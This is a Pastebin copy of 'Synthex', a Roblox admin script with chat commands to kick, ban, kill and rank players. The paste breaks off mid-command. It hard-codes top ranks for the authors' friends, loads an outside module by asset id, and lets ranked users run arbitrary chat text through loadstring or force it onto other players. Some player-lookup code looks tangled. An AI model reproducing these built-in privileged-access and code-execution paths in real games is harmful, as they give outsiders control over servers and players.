Advertisement
Demonlord27

synthex

Feb 26th, 2017
317
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 44.76 KB | None | 0 0
  1. local module = {}
  2.  
  3. Services = setmetatable({},{__index=function(s,n)
  4. if n == "ChatService" then
  5. return require(game.ServerScriptService:WaitForChild("ChatServiceRunner"):WaitForChild("ChatService"));
  6. else
  7. return game:service(n)
  8. end
  9. end})
  10. local ArchChat = Services.ChatService:AddSpeaker("Synthex")
  11.  
  12. if not Services.ChatService:GetChannel("All") then
  13. Services.ChatService:AddChannel("All")
  14. for i,v in next, game:service'Players':players() do
  15. if Services.ChatService:GetSpeaker(v.Name) then
  16. Services.ChatService:GetSpeaker(v.Name):JoinChannel("All")
  17. end
  18. end
  19. end
  20.  
  21. ArchChat:JoinChannel("All")
  22.  
  23. ArchChat:SetExtraData("NameColor", Color3.new(
  24. 0.0/255.0,
  25. 255/255.0,
  26. 255/255.0))
  27. ArchChat:SetExtraData("ChatColor", Color3.new(
  28. 211.0/255.0,
  29. 211.0/255.0,
  30. 211.0/255.0))
  31.  
  32.  
  33.  
  34. ArchChat:SayMessage("Synthex has loaded.","All")
  35. ArchChat:SayMessage("For rank 0, say cmds! to view commands.","All")
  36.  
  37.  
  38. Services.ChatService:GetChannel("All").WelcomeMessage = "Synthex Administration has been loaded on this place."
  39.  
  40. --[[ Synthex by Lethox & KCROL ]]--
  41. local UpdateFound = false;
  42. local SaveLeave = false;
  43. local FC = require(607033461)
  44. local Waves = true
  45. local tabDesign = "Neon"
  46. local BackTab = true
  47. local Override = "Synthexianss"
  48. local AgeLimit = 150
  49. --// Variables
  50. local Ranks = {
  51. {Rank = 0, Desc = "Guest"};
  52. {Rank = 1, Desc = "Player"};
  53. {Rank = 2, Desc = "Trusted"};
  54. {Rank = 3, Desc = "Moderator"};
  55. {Rank = 4, Desc = "Admin"};
  56. {Rank = 5, Desc = "Head Admin"};
  57. {Rank = 6, Desc = "Co-Owner"};
  58. {Rank = 7, Desc = "Developer"};
  59. };
  60. local Ranked = {
  61. {['Name'] = 'stxdios', ['Rank'] = 7, ['Reason'] = 'Developer', ['Color'] = 'Bright yellow', ['Suffix'] = '~'};
  62. {['Name'] = 'Chillarz', ['Rank'] = 7, ['Reason'] = 'Developer #2', ['Color'] = 'Lime green', ['Suffix'] = '%'};
  63. {['Name'] = 'emrehan1234567891', ['Rank'] = 6, ['Reason'] = 'Idk', ['Color'] = 'Really red', ['Suffix'] = ';'};
  64. {['Name'] = 'Destroyeraxe2', ['Rank'] = 6, ['Reason'] = 'Friend', ['Color'] = 'Royal purple', ['Suffix'] = '+'};
  65. {['Name'] = 'mexicanbro1234', ['Rank'] = 6, ['Reason'] = 'Friend', ['Color'] = 'Cyan', ['Suffix'] = '>'};
  66. {['Name'] = 'Azerlo', ['Rank'] = 7, ['Reason'] = 'Friend and helped me with alot', ['Color'] = 'Hot pink', ['Suffix'] = ';'};
  67. {['Name'] = 'bellaouzo', ['Rank'] = 7, ['Reason'] = 'Also friend', ['Color'] = 'Really red', ['Suffix'] = '-'};
  68. {['Name'] = 'Gir000111', ['Rank'] = 4, ['Reason'] = 'Friends Friend', ['Color'] = 'Hot pink', ['Suffix'] = '*'};
  69. {['Name'] = 'lukethomas09', ['Rank'] = 5, ['Reason'] = 'Friend', ['Color'] = 'Toothpaste', ['Suffix'] = '|'};
  70. {['Name'] = 'llCrazeh', ['Rank'] = 6, ['Reason'] = 'Hello', ['Color'] = 'Toothpaste', ['Suffix'] = '%'};
  71. {['Name'] = 'Dhwang', ['Rank'] = 6, ['Reason'] = 'Hello', ['Color'] = 'Really red', ['Suffix'] = '$'};
  72. };
  73.  
  74. local Tablets = {};
  75. local Commands = {};
  76. local Banned = {"sircfenner"};
  77. local bannedscripts = {""}
  78. local Splitkey = '#'
  79. --// Functions
  80.  
  81. function Convert(color)
  82. return BrickColor.new(color).Color
  83. end
  84.  
  85. function AgeLimitBan(plr)
  86. if plr.AccountAge < AgeLimit then
  87. plr:kick('[Synthex]: Your account age is below 150 days. You can join in '..AgeLimit - plr.AccountAge..' days.')
  88. end
  89. end
  90.  
  91. --Message--
  92.  
  93. function Message(msg, plr)
  94. for i,v in pairs(game.Players:GetPlayers()) do
  95. coroutine.wrap(function()
  96. -- Objects
  97.  
  98. local ScreenGui = Instance.new("ScreenGui")
  99. local Frame = Instance.new("Frame")
  100. local TextLabel = Instance.new("TextLabel")
  101. local TextLabel_2 = Instance.new("TextLabel")
  102.  
  103. -- Properties
  104.  
  105. ScreenGui.Parent = v.PlayerGui
  106.  
  107. Frame.Parent = ScreenGui
  108. Frame.BackgroundColor3 = Color3.new(0, 0, 0)
  109. Frame.BackgroundTransparency = 0.5
  110. Frame.Position = UDim2.new(0.5, -150, 0.5, -800)
  111. Frame.Size = UDim2.new(0, 300, 0, 300)
  112. Frame.Visible = true
  113.  
  114. TextLabel.Parent = Frame
  115. TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
  116. TextLabel.BackgroundTransparency = 1
  117. TextLabel.Position = UDim2.new(0.5, -150, 0, 0)
  118. TextLabel.Size = UDim2.new(0, 300, 0, 50)
  119. TextLabel.Font = Enum.Font.Highway
  120. TextLabel.FontSize = Enum.FontSize.Size32
  121. TextLabel.Text = "SYNTHEX MESSAGE"
  122. TextLabel.TextColor3 = Color3.new(1, 1, 1)
  123. TextLabel.TextSize = 32
  124.  
  125. TextLabel_2.Parent = Frame
  126. TextLabel_2.BackgroundColor3 = Color3.new(1, 1, 1)
  127. TextLabel_2.BackgroundTransparency = 1
  128. TextLabel_2.Position = UDim2.new(0.5, -100, 0, 100)
  129. TextLabel_2.Size = UDim2.new(0, 200, 0, 100)
  130. TextLabel_2.Font = Enum.Font.SourceSansItalic
  131. TextLabel_2.FontSize = Enum.FontSize.Size14
  132. TextLabel_2.Text = tostring(msg)
  133. TextLabel_2.TextColor3 = Color3.new(1, 1, 1)
  134. TextLabel_2.TextScaled = true
  135. TextLabel_2.TextSize = 14
  136. TextLabel_2.TextWrapped = true
  137.  
  138. Frame:TweenPosition(UDim2.new(0.5,-150,0.5,-150), "Out", "Back", 3)
  139. wait(6)
  140. Frame:TweenPosition(UDim2.new(0.5,-1400,0.5,-150), "Out", 6, 3)
  141. wait(5)
  142. ScreenGui:remove()
  143. end)()
  144. end
  145. end
  146.  
  147. --CFrame--
  148.  
  149. local ang=0
  150. game:GetService("RunService").Stepped:connect(function()
  151. ypcall(function()
  152. for _,Player in pairs(game:service'Players':GetPlayers()) do
  153. local PlayerTablets = {}
  154. for i,v in pairs(Tablets) do
  155. if v.Tab1.Parent ~= nil and v.Tab2.Parent ~= nil and v.Player == Player then
  156. table.insert(PlayerTablets, v)
  157. end
  158. end
  159. for i = 1, #PlayerTablets do
  160. ypcall(function()
  161. local tab = PlayerTablets[i].Tab1
  162. local tab2 = PlayerTablets[i].Tab2
  163. local pos = nil
  164. ypcall(function()
  165. pos = Player.Character.Torso.CFrame
  166. end)
  167. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+1)
  168. local y = math.sin(i + tick()*3.4)
  169. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+1)
  170. local cPos = tab.Position
  171. local ePos = Vector3.new(x, y, z) + (pos.p or Vector3.new(0, -5, 0))
  172. local nPos = (ePos-cPos)*.25
  173. cPos = cPos + nPos
  174. local t = (tick() - tick()) % 360
  175. local change = 0.0025
  176. ang=ang+change
  177. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(-8.25), 0, 0) * CFrame.Angles(math.rad(.55), 0, 0) * CFrame.Angles(0, math.rad((360 / #PlayerTablets) * i) + ang, 0) * CFrame.Angles(math.rad(ang), math.rad(ang), math.rad(ang))
  178. tab2.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, 5, 0))) * CFrame.Angles(math.rad(8.25), 0, 0) * CFrame.Angles(math.rad(-.55), 0, 0) * CFrame.Angles(0, math.rad((360 / #PlayerTablets) * i) + ang, 0) * CFrame.Angles(math.rad(0.00001), math.rad(0.00001), math.rad(0.00001))
  179.  
  180. end)
  181. end
  182. end
  183. end)
  184. end)
  185.  
  186. function Output(player,name,color,func)
  187. if name==nil then name='Error!' end
  188. if color==nil then color=tostring('Institutional white') end
  189. if player==nil then return false end
  190. local Tab = Instance.new('Part',workspace.Terrain)
  191. Tab.Anchored,Tab.Locked,Tab.CanCollide,Tab.BottomSurface,Tab.TopSurface=true,true,false,0,0
  192. Tab.Transparency = 0
  193. Tab.Size = Vector3.new(2,2,2)
  194. Tab.BrickColor = BrickColor.new(tostring(color))
  195. Tab.Position = player.Character.Head.Position
  196. local Tabb = Instance.new('Part',workspace.Terrain)
  197. Tabb.Anchored,Tabb.Locked,Tabb.CanCollide,Tabb.BottomSurface,Tabb.TopSurface=true,true,false,0,0
  198. Tabb.Transparency = 0
  199. Tabb.Size = Vector3.new(1.3,1.3,1.3)
  200. Tabb.BrickColor = BrickColor.new(tostring(color))
  201. Tabb.Position = player.Character.Head.Position
  202.  
  203. local Gui=Instance.new("BillboardGui", Tab)
  204. Gui.Adornee=Tab;
  205. Gui.StudsOffset = Vector3.new(0, 1.3, 0)
  206. Gui.Size = UDim2.new(8, 0, 7.5,0)
  207.  
  208. local Label=Instance.new("TextLabel", Gui)
  209. Label.Font = "ArialBold"
  210. Label.TextColor3=Convert(tostring(color))
  211. Label.BackgroundTransparency=1
  212. Label.FontSize = "Size24"
  213. Label.Font = "SourceSansBold"
  214. Label.TextStrokeTransparency=1
  215. Label.Text = tostring(name)
  216. Label.TextStrokeColor3=Convert(tostring(color))
  217. Label.Size = UDim2.new(1, 0, 0.5, 0)
  218.  
  219. local CLICK=Instance.new("ClickDetector", Tab)
  220. CLICK.MaxActivationDistance=math.huge
  221.  
  222. CLICK.MouseClick:connect(function(p)
  223. if p.userId == player.userId or GetRank(p) > GetRank(player) then
  224. if func == nil then
  225. for i = 1, 5 do
  226. Tab.Transparency=Tab.Transparency + .1
  227. Tab.Size=Tab.Size - Vector3.new(.01,.01,.01)
  228. wait()
  229. end
  230. Tab:Destroy()
  231. Tabb:Destroy()
  232. else
  233. for i = 1, 5 do
  234. Tab.Transparency=Tab.Transparency + .1
  235. Tab.Size=Tab.Size - Vector3.new(.010,.010,.010)
  236. wait()
  237. end
  238. Tab:Destroy()
  239. Tabb:Destroy()
  240. func = func
  241. func()
  242. end
  243. end
  244. CLICK.MouseHoverEnter:connect(function(p)
  245. if p.Name == player.Name or GetRank(p) > GetRank(player) then
  246. for i = 1, 1 do
  247. Tab.Transparency = .7
  248. Tab.Size = Tab.Size + Vector3.new(.1,.1,.1)
  249. end
  250. end
  251. end)
  252. CLICK.MouseHoverLeave:connect(function(p)
  253. if p.Name == player.Name or GetRank(p) > GetRank(player) then
  254. Tab.Transparency = .3
  255. Tab.Size = Vector3.new(2,2,2)
  256. end
  257. end)
  258. end)
  259.  
  260. if tabDesign == "Double" then
  261. Tab.Size = Vector3.new(2,2,2)
  262. Tabb.Size = Vector3.new(.7,.7,.7)
  263. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  264. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  265. Tabb.Transparency = 0
  266. Tab.Transparency = 0.3
  267. elseif tabDesign == "Plain" then
  268. Tab.Size = Vector3.new(2,2,2)
  269. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  270. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  271. Tabb.Transparency = 1
  272. Tab.Transparency = 0
  273. elseif tabDesign == "SelectionBox" then
  274. Tab.Size = Vector3.new(2,2,2)
  275. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  276. local sel = Instance.new('SelectionBox',Tab)
  277. sel.Color = Tab.BrickColor
  278. sel.LineThickness = 0.01
  279. sel.Adornee = Tab
  280. Tab.Transparency = 0.3
  281. Tabb.Transparency = 1
  282. elseif tabDesign == "DoubledSel" then
  283. Tab.Size = Vector3.new(2,2,2)
  284. Tabb.Size = Vector3.new(.7,.7,.7)
  285. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  286. local sel = Instance.new('SelectionBox',Tab)
  287. sel.Color = Tab.BrickColor
  288. sel.LineThickness = 0.01
  289. sel.Adornee = Tab
  290. Tab.Transparency = 0.3
  291. Tabb.Transparency = 0
  292. elseif tabDesign == "Orb" then
  293. Tab.Size = Vector3.new(2,2,2)
  294. Tabb.Transparency = 1
  295. Tab.Transparency = 0
  296. local m = Instance.new('SpecialMesh',Tab)
  297. m.MeshType = "Sphere"
  298. m.Scale = Vector3.new(1,1,1)
  299. elseif tabDesign == "DoubleOrb" then
  300. Tab.Size = Vector3.new(2,2,2)
  301. Tabb.Size = Vector3.new(1.3,1.3,1.3)
  302. Tab.Transparency = 0.3
  303. local m = Instance.new('SpecialMesh',Tab)
  304. m.MeshType = "Sphere"
  305. m.Scale = Vector3.new(1,1,1)
  306. local m = Instance.new('SpecialMesh',Tabb)
  307. m.MeshType = "Sphere"
  308. m.Scale = Vector3.new(.6,.6,.6)
  309. elseif tabDesign == "Flat" then
  310. Tab.Size = Vector3.new(3,4,0.2)
  311. Tab.Transparency = 0
  312. Tabb.Transparency = 1
  313. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  314. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  315. elseif tabDesign == "DoubleFlat" then
  316. Tab.Size = Vector3.new(3,4,0.4)
  317. Tab.Transparency = .3
  318. Tabb.Transparency = 0
  319. Tabb.Size = Vector3.new(2,3,0.2)
  320. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  321. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  322. elseif tabDesign == "Neon" then
  323. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  324. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  325. Tab.Material = "Neon"
  326. Tab.Size = Vector3.new(2,2,2)
  327. Tab.Transparency=0
  328. Tabb.Size = Vector3.new(.7,.7,.7)
  329. Tabb.Transparency = 1
  330. end
  331.  
  332. table.insert(Tablets, {Tab1 = Tab, Tab2 = Tabb, Player = player})
  333. end
  334.  
  335.  
  336.  
  337. AddRank = function(Name, Rank, Reason, Color, Trans, SelBox, Suffix)
  338. if type(Name) == 'userdata' then Name = Name.Name end
  339. table.insert(Ranked, {['Name'] = Name, ['Rank'] = Rank, ['Reason'] = Reason, ['Color'] = Color, ['Transparency'] = Trans, ['SelBox'] = SelBox, ['Suffix'] = Suffix})
  340. end
  341.  
  342. SetRank = function(player, rank)
  343. if type(player) == 'userdata' then player = player.Name end
  344. for _,plr in next,Ranked do
  345. if plr.Name == player then
  346. plr.Rank = rank
  347. end
  348. end
  349.  
  350. AddRank(player, rank, "A normal player", "Toothpaste", .3, false, '~')
  351. end
  352.  
  353. function getRanked(player)
  354. Dismiss(player)
  355. Output(player, 'Getting ranked table, please wait...', 'Institutional white')
  356. wait(3)
  357. Dismiss(player)
  358. Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
  359. for _,plr in next,Ranked do
  360. Output(player, plr.Name, 'Institutional white', function()
  361. Dismiss(player)
  362. Output(player, 'Name: '..plr.Name, 'Institutional white')
  363. Output(player, 'Rank: '..GetRank(plr), 'Lime green')
  364. Output(player, 'Description: '..GetDesc(plr), 'Deep orange')
  365. Output(player, 'Suffix: '..GetSuffix(plr), 'Cyan')
  366. Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
  367. end)
  368. end
  369. end
  370.  
  371. function GetRank(plr)
  372. if type(plr) == 'userdata' then
  373. plr=tostring(plr)
  374. elseif type(plr) == 'string' then
  375. plr=plr.Name
  376. else
  377. plr=plr
  378. end
  379.  
  380. for _,data in pairs(Ranked) do
  381. if data['Name'] == plr then
  382. local rnk = data['Rank']
  383. return rnk --If plr is on the rank list their rank is here
  384. end
  385. end
  386.  
  387. return 0 --Player's rank will be 0 if not on the list
  388. end
  389.  
  390. function GetSuffix(plr)
  391. if type(plr) == 'userdata' then
  392. plr=tostring(plr)
  393. elseif type(plr) == 'string' then
  394. plr=plr.Name
  395. else
  396. plr=plr
  397. end
  398.  
  399. for _,data in pairs(Ranked) do
  400. if data['Name'] == plr then
  401. local suffix = data['Suffix']
  402. return suffix --If plr is on the rank list their rank is here
  403. end
  404. end
  405.  
  406. return '!' --Player's suffix is ! if not ranked.
  407. end
  408.  
  409. function GetDesc(plr)
  410. if type(plr) == 'userdata' then
  411. plr=tostring(plr)
  412. elseif type(plr) == 'string' then
  413. plr=plr.Name
  414. else
  415. plr=plr
  416. end
  417.  
  418. for _,data in pairs(Ranked) do
  419. if data['Name'] == plr then
  420. local reason = data['Reason']
  421. return reason
  422. end
  423. end
  424.  
  425. return 'A normal player!'
  426. end
  427.  
  428. function GetColor(plr)
  429. if type(plr) == 'userdata' then
  430. plr=tostring(plr)
  431. elseif type(plr) == 'string' then
  432. plr=plr.Name
  433. else
  434. plr=plr
  435. end
  436.  
  437. for _,data in pairs(Ranked) do
  438. if data['Name'] == plr then
  439. local clr = data['Color']
  440. return clr --If plr is on the rank list their color here
  441. end
  442. end
  443.  
  444. return 'Cyan' --Player's color is Cyan if not ranked.
  445. end
  446.  
  447. function Dismiss(plr)
  448. pcall(function()
  449. for _,tablets in pairs(Tablets) do
  450. if tablets.Player == plr then
  451. local T = coroutine.create(function()
  452. repeat
  453. game:GetService("RunService").Heartbeat:wait(0.000000000000000000000001)
  454. tablets.Tab1.Size=Vector3.new(tablets.Tab1.Size.X-0.1,tablets.Tab1.Size.Y-0.1,tablets.Tab1.Size.Z-0.1)
  455. tablets.Tab2.Size=Vector3.new(tablets.Tab2.Size.X-0.1,tablets.Tab2.Size.Y-0.1,tablets.Tab2.Size.Z-0.1)
  456. until tablets.Tab1.Size.X<0.3;
  457. tablets.Tab1:Destroy()
  458. tablets.Tab2:Destroy()
  459. end)
  460. coroutine.resume(T)
  461. end
  462. end
  463. end)
  464. end
  465.  
  466. Commands_E = function(player)
  467. Dismiss(player)
  468. for i = 0, 7 do
  469. Output(player, 'Rank '..i..'', GetColor(player), function()
  470. GetCommands(player, i)
  471. end)
  472. end
  473. Output(player, 'Your rank is '..GetRank(player)..'','Bright green')
  474. end
  475.  
  476.  
  477. GetCommands = function(player, rank)
  478. Dismiss(player)
  479. for _, CMDS in pairs(Commands) do
  480. if CMDS['Rank'] <= rank then
  481. Output(player, CMDS['Name'], GetColor(player), function()
  482. Dismiss(player)
  483. Output(player, 'Description: '..CMDS['Desc'], 'Lime green')
  484. Output(player, 'Usage (For you): '..CMDS['Say']..''..GetSuffix(player),'Bright red')
  485. Output(player, 'Rank Needed: '..CMDS['Rank'], 'Cyan')
  486. Output(player, 'Name: '..CMDS['Name'], 'Toothpaste')
  487. Output(player, 'Back', 'Navy blue', function() GetCommands(player, rank) end)
  488. Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
  489. if GetRank(player) < CMDS['Rank'] then
  490. Output(player, "You can't use this command!","Really red")
  491. else
  492. Output(player, 'You can use this command!','Lime green')
  493. end
  494. end)
  495. end
  496. end
  497. end
  498.  
  499.  
  500.  
  501. function getPlayers(plr)
  502. Dismiss(plr)
  503. Output(plr, 'Dismiss', 'Really red', function() Dismiss(plr) end)
  504. for _,player in pairs(game.Players:GetPlayers()) do
  505. Output(plr, player.Name..' [RANK '..GetRank(player)..']', 'Institutional white',function()
  506. Dismiss(plr)
  507. Output(plr, 'Dismiss', 'Really red', function() Dismiss(plr) end)
  508. Output(plr, 'Name: '..player.Name..'','Institutional white')
  509. Output(plr, 'Rank: '..GetRank(player)..'', 'Lime green')
  510. Output(plr, 'Account Age: '..player.AccountAge..'', 'Cyan')
  511. Output(plr, 'Builders Club Type: '..player.MembershipType.Name..'', 'Deep orange')
  512. Output(plr, 'Description: '..GetDesc(player), 'Really black')
  513. Output(plr, 'Suffix: '..GetSuffix(player), 'Bright red')
  514. Output(plr, 'Color: '..GetColor(player), GetColor(player))
  515. Output(plr, 'Kick', 'Really red', function() Dismiss(plr) player:kick('[Synthex]: You have been kicked from the game.') end)
  516. Output(plr, 'Ban', 'Really red', function() Dismiss(plr) player:kick('[Synthex]: You have been banned from the server.') table.insert(Banned, player.Name) end)
  517. end)
  518. end
  519. end
  520.  
  521.  
  522.  
  523. Chatted = function(speaker, message)
  524. if message:sub(1, 2) == '/e' then
  525. if #message > 3 then
  526. message = message:sub(4)
  527. end
  528. elseif message:sub(1, 1) == '*' then
  529. if #message > 2 then
  530. message = message:sub(2)
  531. end
  532. elseif message:sub(1, 1) == '>' then
  533. if #message > 2 then
  534. message = message:sub(2)
  535. end
  536. end
  537.  
  538.  
  539. local command=message
  540. for _, CMDS in pairs(Commands) do
  541. if command:sub(1, #CMDS['Say']+#GetSuffix(speaker)) == CMDS['Say']..GetSuffix(speaker) then
  542. if GetRank(speaker) >= CMDS['Rank'] then
  543. local msg = command:sub(#CMDS["Say"]+#GetSuffix(speaker)+1)
  544. a,b = ypcall(function()
  545. CMDS["Func"](speaker, msg)
  546. end)
  547. if not a then warn(b) Output(speaker, 'ERROR: '..b, 'Really red') end
  548. else
  549. Output(speaker, 'You need rank '..CMDS['Rank']..' to use this command!', 'Really red')
  550. end
  551. end
  552. end
  553. end
  554.  
  555.  
  556.  
  557.  
  558. function NewCommand(name, usage, rank, desc, func)
  559. table.insert(Commands, {['Name'] = name, ['Say'] = usage, ['Rank'] = rank, ['Desc'] = desc, ['Func'] = func})
  560. end
  561.  
  562. function SBChat(title,msg)
  563. pcall(function()
  564. for i,v in pairs(game.Players:GetPlayers()) do
  565. local value = Instance.new('StringValue',v)
  566. value.Name = "SB_Chat"
  567. value.Value = tostring(title)..'/'..msg
  568. game.Debris:AddItem(value,.1)
  569. end
  570. end)
  571. end
  572.  
  573. function SBChatAll(name, cht)
  574. for _,plr in pairs(game.Players:GetPlayers()) do
  575. SBChat(plr, name, cht)
  576. end
  577. end
  578.  
  579. GetPlayers = function(plr, msg)
  580. local plrs = {}
  581. if msg:match("^!") then
  582. return FindPlayers(plr, msg:sub(2), true)
  583. elseif msg == "me" then
  584. table.insert(plrs, plr)
  585. elseif msg == "all" then FindPlayers = function(plr, msg)
  586. local plrs = {}
  587. if msg:match("^!") then
  588. return FindPlayers(plr, msg:sub(2), true)
  589. elseif msg == "me" then
  590. table.insert(plrs, plr)
  591. elseif msg == "all" then
  592. for _,v in pairs(game:service'Players':players()) do
  593. table.insert(plrs, v)
  594. end
  595. elseif msg == "others" then
  596. for _,v in pairs(game:service'Players':players()) do
  597. if v ~= plr then
  598. table.insert(plrs, v)
  599. end
  600. end
  601. else
  602. for _,v in pairs(game:service'Players':players()) do
  603. if v.Name:lower():sub(1,#msg) == msg:lower() then
  604. table.insert(plrs, v)
  605. end
  606. end
  607. end
  608. return plrs
  609. end
  610. for _,v in pairs(game:service'Players':players()) do
  611. table.insert(plrs, v)
  612. end
  613. elseif msg == "others" then
  614. for _,v in pairs(game:service'Players':players()) do
  615. if v ~= plr then
  616. table.insert(plrs, v)
  617. end end
  618. else for _,v in pairs(game:service'Players':players()) do
  619.  
  620. if v.Name:lower():sub(1,#msg) == msg:lower() then
  621. table.insert(plrs, v)
  622. end
  623. end
  624. end
  625. return plrs
  626. end
  627.  
  628. function ConnectPlayer(plr)
  629. wait(1);
  630. for _,bans in pairs(Banned) do
  631. if plr.Name == bans then
  632. plr:kick("[Synthex]: You are banned!")
  633. end
  634. end
  635. end
  636.  
  637. for _,plr in pairs(game.Players:GetPlayers()) do
  638. ConnectPlayer(plr)
  639. end
  640.  
  641. game.Players.PlayerAdded:connect(function(plr)
  642. ConnectPlayer(plr)
  643. Output(plr, 'Welcome to Synthex, '..plr.Name..'!','Lime green')
  644. Output(plr, 'Your rank is: '..GetRank(plr),'Deep orange')
  645. Output(plr, 'Click to show commands','Bright green',function() Commands_E(plr) end)
  646. Output(plr, 'Dismiss','Really red',function() Dismiss(plr) end)
  647. Output(plr, 'Your suffix is '..GetSuffix(plr), 'Cyan')
  648.  
  649.  
  650. plr.Chatted:connect(function(m)
  651. Chatted(plr, m)
  652. end)
  653.  
  654. ArchChat:SayMessage(plr.Name.." has joined the game!","All")
  655.  
  656. setChatColor(plr)
  657. end)
  658.  
  659. game.Players.PlayerRemoving:connect(function(player)
  660. ArchChat:SayMessage(player.Name.." has left the game.","All")
  661. end)
  662.  
  663. function Sbexe(cmd,plr)
  664. if not type(cmd)=='string'then return end
  665. if plr then
  666. if type(plr)=='userdata'then
  667. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  668. elseif type(plr)=='string'then
  669. plr = game:GetService('Players'):FindFirstChild(plr)
  670. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  671. end
  672. else
  673. for i,v in pairs(game:GetService('Players'):children())do
  674. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  675. end
  676. end
  677. end
  678.  
  679. --// Moving on from functions
  680.  
  681. NewCommand("ForceField", 'ff',3,'Give a player a forcefield',function(player,message)
  682. for _,plr in next,GetPlayers(player,message) do
  683. Instance.new('ForceField',plr.Character)
  684. end
  685. end)
  686.  
  687. NewCommand('Commands', 'cmds',0,'Show the commands',function(player,message)
  688. Commands_E(player)
  689. end)
  690.  
  691. NewCommand('Dismiss','dt',0,'Dismisses tablets',function(player,message)
  692. Dismiss(player)
  693. end)
  694.  
  695. NewCommand('SB Exe','sb',5,'Make a player run a SB Command/Script',function(player,message)
  696. local Split = message:find(Splitkey)
  697. local PreSplit = message:sub(1, Split - 1)
  698. local AfterSplit = message:sub(Split + 1)
  699. for _,plr in next,GetPlayers(player,PreSplit) do
  700. Sbexe(tostring(AfterSplit), plr)
  701. end
  702. end)
  703.  
  704. NewCommand('Kick','kick',4,'Kick a player',function(player,message)
  705. local Split = message:find(Splitkey)
  706. local PreSplit = message:sub(1, Split - 1)
  707. local AfterSplit = message:sub(Split + 1)
  708. for _,plr in next,GetPlayers(player,PreSplit) do
  709. plr:kick('[Synthex]: You have been kicked for '..tostring(AfterSplit))
  710. end
  711. end)
  712.  
  713. NewCommand('Kill','kill',3,'Kill a player',function(player,message)
  714. for _,plr in next,GetPlayers(player,message) do
  715. plr.Character.Humanoid.Health = 0
  716. end
  717. end)
  718.  
  719. NewCommand('Rank','rank',7,'Set a players rank',function(player,message)
  720. local Split = message:find(Splitkey)
  721. local PreSplit = message:sub(1, Split - 1)
  722. local AfterSplit = message:sub(Split + 1)
  723. for _,plr in next,GetPlayers(player,PreSplit) do
  724. SetRank(plr, tonumber(AfterSplit))
  725. end
  726. end)
  727.  
  728. NewCommand('God','god',3,'God a player',function(player,message)
  729. for _,plr in next,GetPlayers(player,message) do
  730. plr.Character.Humanoid.MaxHealth = math.huge
  731. end
  732. end)
  733.  
  734. NewCommand('UnGod','ungod',3,'Remove a players god mode',function(player,message)
  735. for _,plr in next,GetPlayers(player,message) do
  736. plr.Character.Humanoid.MaxHealth = 100
  737. end
  738. end)
  739.  
  740. NewCommand("SBExe To All",'sball',6,'Run a SB script to everyone',function(player,message)
  741. Output(player, 'Made everyone do '..message,GetColor(player))
  742. for i,v in pairs(game.Players:GetPlayers()) do
  743. Sbexe(message, v)
  744. end
  745. end)
  746.  
  747. NewCommand('Execute','exe',5,'Execute a script',function(player,message)
  748. local success,errored = loadstring(message)
  749. if success and not errored then
  750. success()
  751. else
  752. Output(player, 'Synthex - Error: '..errored,'Really red')
  753. end
  754. end)
  755.  
  756. NewCommand('UnFF','unff',3,'Remove someones forcefield',function(player,message)
  757. for _,plr in next,GetPlayers(player,message) do
  758. for i,v in pairs(plr.Character:children()) do
  759. if v:IsA("ForceField") or v.ClassName == "ForceField" then
  760. v:remove()
  761. end
  762. end
  763. end
  764. end)
  765.  
  766. NewCommand('Ban','ban',5,'Ban a player',function(player,message)
  767. local Split = message:find(Splitkey)
  768. local PreSplit = message:sub(1, Split - 1)
  769. local AfterSplit = message:sub(Split + 1)
  770. for _,plr in next,GetPlayers(player,PreSplit) do
  771. plr:kick('[Synthex]: You have been banned for '..tostring(AfterSplit))
  772. table.insert(Banned, plr.Name)
  773. end
  774. end)
  775.  
  776. NewCommand('Message','msg',3,'Send a server message',function(player,message)
  777. Message(message)
  778. end)
  779.  
  780. NewCommand("Set Bass","bass",4,"Set the bass of every sound on ROBLOX",function(player,message)
  781. Output(player, 'Set the bass to '..tonumber(message),GetColor(player))
  782. game:GetService("SoundService").AmbientReverb = tonumber(message)
  783. end)
  784.  
  785. NewCommand('Music','play',4,'Play a music sound',function(player,message)
  786. Output(player, 'Now playing: '..game:GetService("MarketplaceService"):GetProductInfo(tonumber(message:match("%d+$"))).Name..'','Institutional white')
  787. ArchChat:SayMessage("Now playing "..game:GetService("MarketplaceService"):GetProductInfo(tonumber(message:match("%d+$"))).Name, "All")
  788. local s = Instance.new('Sound',workspace) s.SoundId = 'rbxassetid://'..message s.Volume = 1 s.Pitch = 1 s.Looped = true s:play()
  789. end)
  790.  
  791. NewCommand('Stop Music','stop',4,'Stop all running music',function(player,message)
  792. for i,v in pairs(workspace:children(), workspace.Terrain:children()) do
  793. if v:IsA("Sound") then
  794. v:remove()
  795. SBChat('Synthex','Stopped all running music.')
  796. end
  797. end
  798. end)
  799.  
  800. NewCommand('Respawn','rsp',3,'Respawn a player',function(player,message)
  801. for _,plr in next,GetPlayers(player,message) do
  802. plr:LoadCharacter()
